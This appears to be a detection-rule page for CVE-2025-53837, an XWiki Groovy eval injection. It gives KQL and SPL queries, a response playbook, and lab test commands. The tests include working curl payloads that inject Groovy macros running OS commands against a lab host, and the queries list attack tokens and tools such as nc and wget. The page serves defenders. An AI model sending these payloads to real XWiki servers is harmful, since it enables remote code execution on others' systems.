CVE-2025-53837 Microsoft Sentinel · KQL

Detect CVE-2025-53837: XWiki Rendering XML Eval Injection (Groovy/RCE) in Microsoft Sentinel

Detects exploitation of CVE-2025-53837, a CWE-95 Eval Injection vulnerability in the org.xwiki.rendering:xwiki-rendering-xml Maven artifact (XWiki Rendering) affecting versions before 14.10.2. Untrusted XML rendering input containing script macros or embedded code (e.g. Groovy) is passed to an evaluation context, allowing an attacker who can submit wiki/rendering content to achieve remote code execution on the XWiki server. This detection surfaces suspicious rendering requests carrying script/macro payloads, anomalous child-process spawning from the XWiki JVM, and outbound callbacks following content submission.

MITRE ATT&CK

Tactic
Execution Initial Access

KQL Detection Query

Microsoft Sentinel (KQL)
kusto 
let suspiciousTokens = dynamic(["{{groovy","{{script","{{velocity","{{async","Runtime.getRuntime","ProcessBuilder","getClass().forName","xwiki-rendering"]);
let WebHits = W3CIISLog
| where csUriStem has_any ("/bin/view","/bin/save","/bin/preview","/rest/","/xwiki/")
| extend Decoded = url_decode(coalesce(csUriQuery,""))
| where Decoded has_any (suspiciousTokens) or csMethod in ("POST","PUT")
| project TimeGenerated, cIP, csMethod, csUriStem, Decoded, scStatus, csUserName;
WebHits
| join kind=leftouter (
    DeviceProcessEvents
    | where InitiatingProcessFileName in~ ("java.exe","java","catalina.sh","tomcat9.exe")
    | where FileName in~ ("cmd.exe","powershell.exe","bash","sh","whoami.exe","nc.exe","curl","wget")
    | project ProcTime=TimeGenerated, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName
) on $left.TimeGenerated == $right.ProcTime
| where isnotempty(FileName) or Decoded has_any ("{{groovy","{{script","Runtime.getRuntime","ProcessBuilder")
| project TimeGenerated, cIP, csUserName, csMethod, csUriStem, Decoded, scStatus, DeviceName, FileName, ProcessCommandLine
critical severity medium confidence

Correlates XWiki rendering HTTP requests carrying script/Groovy macro tokens with anomalous child processes spawned by the JVM.

Data Sources

W3CIISLogDeviceProcessEvents

Required Tables

W3CIISLogDeviceProcessEvents

False Positives & Tuning

  • Legitimate XWiki administrators authoring Groovy or script macros with programming rights
  • Automated content-migration jobs that POST large volumes of wiki syntax
  • Security scanners probing the /bin/view and /rest endpoints

Other platforms for CVE-2025-53837

Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1XWiki rendering Groovy macro injection via POST

    Expected signal: Web access log entry POST /bin/save/Sandbox/PoC with body containing {{groovy}} and .execute(); XWiki application log rendering the macro.

  2. Test 2XWiki REST rendering injection with ProcessBuilder payload

    Expected signal: REST PUT request logged with ProcessBuilder token in body; JVM spawns /bin/sh -c id child process.

  3. Test 3JVM-parented shell spawn simulation

    Expected signal: ProcessRollup2 / Sysmon EID 1 showing java parent context and cmd.exe/whoami child execution.

Last updated: 2026-09-20 Research depth: standard
References (8)

Response Playbook

Triage

  1. Extract the full decoded request body/URL and confirm it targets an XWiki rendering endpoint (/bin/view, /bin/save, /bin/preview, /rest) and contains a script/macro token such as {{groovy}}, {{script}}, Runtime.getRuntime, or ProcessBuilder.
  2. Identify the XWiki server version by checking the deployed org.xwiki.rendering:xwiki-rendering-xml artifact; versions < 14.10.2 are vulnerable while 14.10.2 / 15.0-rc-1 and later are patched.
  3. Determine whether the submitting account is authenticated and whether it holds programming/script rights — an unprivileged or anonymous submitter reaching eval indicates true exploitation rather than authorized authoring.
  4. Correlate the request timestamp with any JVM-parented child process (shell, curl, wget, nc) or outbound connection on the XWiki host.

Containment

  1. Isolate the affected XWiki host from the network or block inbound access to the rendering endpoints at the WAF/reverse proxy until patched.
  2. Disable or revoke script/programming rights for non-administrative accounts and suspend the suspected attacker account.
  3. Upgrade org.xwiki.rendering:xwiki-rendering-xml to 14.10.2 (or 15.0-rc-1+) and restart the application server.

Evidence Collection

  1. Preserve web/proxy access logs containing the raw request bodies and the XWiki application logs around the event window.
  2. Capture process-creation telemetry (Sysmon/EDR/auditd) for the JVM process tree and any spawned children, plus memory of the java process if RCE is suspected.
  3. Export any files written to the XWiki temp/work directories and collect JVM stdout/stderr and the rendering cache.

Escalation Criteria

  • !Escalate to incident response if a JVM-parented shell, download utility, or reverse-shell process is confirmed following the injection request.
  • !Escalate if the injection originated from an unauthenticated or low-privilege account, indicating exploitation of the vulnerability rather than authorized macro use.
  • !Escalate if outbound C2/callback traffic, new persistence, or lateral movement is observed from the XWiki host.

Investigation Guide

Related Techniques

[object Object][object Object]

Forensic Artifacts

  • >Web server / reverse-proxy access logs containing the raw POST body with macro tokens
  • >XWiki application and rendering-cache logs
  • >JVM process-tree and child-process creation records (Sysmon EID 1 / auditd execve / EDR)
  • >Files dropped in XWiki temp/work directories or webapp path

Tuning Guidance

Baseline which accounts legitimately hold programming/script rights and author Groovy macros; add those users and their source IPs to an allowlist so the detection focuses on unauthenticated or low-privilege submitters. Restrict the process-correlation leg to hosts running the XWiki JVM to reduce noise, and after upgrading to 14.10.2+ retain the rule at lower severity to catch continued probing.

Hunting Queries

Hunt for any XWiki rendering requests carrying Groovy/script eval-injection tokens grouped by source and endpoint over time.

Hunting — KQL
kql 
W3CIISLog | extend Decoded=url_decode(coalesce(csUriQuery,"")) | where Decoded has_any ("{{groovy","{{script","Runtime.getRuntime","ProcessBuilder") | summarize count() by cIP, csUserName, csUriStem, bin(TimeGenerated,1h)
Hunting — SPL
spl 
index=web (uri_path="*xwiki*" OR uri_path="*/bin/*") | eval d=urldecode(coalesce(form_data,uri_query)) | search d="*{{groovy*" OR d="*Runtime.getRuntime*" OR d="*ProcessBuilder*" | stats count by src_ip user uri_path

Atomic Red Team Tests

Test 1 XWiki rendering Groovy macro injection via POST
linux

Submits a wiki page save request containing a Groovy script macro that executes an OS command, simulating eval injection against a vulnerable rendering endpoint.

Command

bash 
curl -s -k -u attacker:attacker -X POST 'https://xwiki.lab.local/bin/save/Sandbox/PoC' --data-urlencode 'content={{groovy}}println "cve-2025-53837".execute() ; "whoami".execute().text{{/groovy}}'

Cleanup

bash 
curl -s -k -u admin:admin -X GET 'https://xwiki.lab.local/bin/delete/Sandbox/PoC?confirm=1'

Expected Telemetry

Web access log entry POST /bin/save/Sandbox/PoC with body containing {{groovy}} and .execute(); XWiki application log rendering the macro.

Expected Detection

KQL/SPL web rules match the {{groovy}} / .execute token in the request body.

Test 2 XWiki REST rendering injection with ProcessBuilder payload
linux

Sends a REST request to render untrusted XML/wiki content invoking ProcessBuilder to spawn a shell.

Command

bash 
curl -s -k -u attacker:attacker -H 'Content-Type: text/plain' -X PUT 'https://xwiki.lab.local/rest/wikis/xwiki/spaces/Sandbox/pages/RestPoC' --data-binary '{{groovy}}new ProcessBuilder(["/bin/sh","-c","id"]).start(){{/groovy}}'

Cleanup

bash 
curl -s -k -u admin:admin -X DELETE 'https://xwiki.lab.local/rest/wikis/xwiki/spaces/Sandbox/pages/RestPoC'

Expected Telemetry

REST PUT request logged with ProcessBuilder token in body; JVM spawns /bin/sh -c id child process.

Expected Detection

EQL sequence / CrowdStrike CQL match on java-parented sh process; web rule matches ProcessBuilder token.

Test 3 JVM-parented shell spawn simulation
windows

Simulates the post-injection outcome by having a java process launch a shell command, matching the EDR process-correlation leg.

Command

powershell 
powershell -Command "Start-Process java -ArgumentList '-version'; cmd.exe /c whoami"

Cleanup

powershell 
echo No cleanup required; commands are read-only.

Expected Telemetry

ProcessRollup2 / Sysmon EID 1 showing java parent context and cmd.exe/whoami child execution.

Expected Detection

CrowdStrike CQL and KQL DeviceProcessEvents correlation flag the JVM-parented shell/whoami process.

Related Detections

Tactic Hubs

TA0002ExecutionTA0001Initial Access

Related Techniques

T1190Exploit Public-Facing ApplicationT1059Command and Scripting Interpreter

Same Tactic: Execution

Popular Detections